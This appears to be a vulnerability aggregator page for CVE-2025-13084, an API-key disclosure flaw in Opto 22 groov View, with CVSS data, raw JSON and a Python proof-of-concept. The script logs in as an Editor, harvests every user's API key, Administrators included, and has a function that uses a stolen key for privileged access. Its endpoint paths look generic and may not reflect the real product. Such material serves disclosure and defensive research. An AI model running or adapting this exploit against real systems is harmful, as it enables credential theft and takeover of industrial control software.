Security Vulnerability Report
中文
CVE-2025-13084 CVSS 7.6 HIGH

CVE-2025-13084

Published: 2025-11-26 18:15:48
Last Modified: 2026-04-15 00:35:42

Description

The users endpoint in the groov View API returns a list of all users and associated metadata including their API keys. This endpoint requires an Editor role to access and will display API keys for all users, including Administrators.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Opto 22 groov View < 已知修复版本
groov View 所有版本均受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13084 PoC - groov View API Information Disclosure # Author: Security Researcher # Target: Opto 22 groov View API import requests import json import sys def exploit_cve_2025_13084(target_url, username, password): """ Exploit for CVE-2025-13084: groov View API users endpoint returns all users with API keys to low-privilege Editor users """ session = requests.Session() # Step 1: Login with Editor credentials login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return None print("[+] Login successful as Editor user") # Step 2: Access the vulnerable users endpoint users_url = f"{target_url}/api/users" users_response = session.get(users_url, timeout=10) if users_response.status_code == 200: print("[+] Successfully accessed users endpoint") users_data = users_response.json() # Step 3: Extract and display all API keys print("\n[+] Extracted API Keys:") print("=" * 60) api_keys = [] for user in users_data.get('users', []): username = user.get('username') role = user.get('role') api_key = user.get('api_key') print(f"Username: {username}") print(f"Role: {role}") print(f"API Key: {api_key}") print("-" * 60) api_keys.append({ 'username': username, 'role': role, 'api_key': api_key }) return api_keys else: print(f"[-] Failed to access users endpoint: {users_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def use_stolen_api_key(target_url, api_key): """ Use stolen API key to perform privileged operations """ headers = { 'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json' } # Example: Get system configuration config_url = f"{target_url}/api/system/config" response = requests.get(config_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully accessed system configuration with stolen API key") return response.json() else: print(f"[-] Failed to access system configuration: {response.status_code}") return None if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_13084_poc.py <target_url> <username> <password> [api_key]") print("Example: python cve_2025_13084_poc.py https://groov.example.com editor password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Targeting: {target}") print(f"[*] Attempting CVE-2025-13084 exploitation...\n") api_keys = exploit_cve_2025_13084(target, user, pwd) if api_keys: print(f"\n[!] Total API keys found: {len(api_keys)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13084", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:47.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The users endpoint in the groov View API returns a list of all users and\n associated metadata including their API keys. This endpoint requires an\n Editor role to access and will display API keys for all users, \nincluding Administrators."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1230"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-04.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-04", "source": "[email protected]"}, {"url": "https://www.opto22.com/support/resources-tools/knowledgebase/kb91325", "source": "[email protected]"}]}}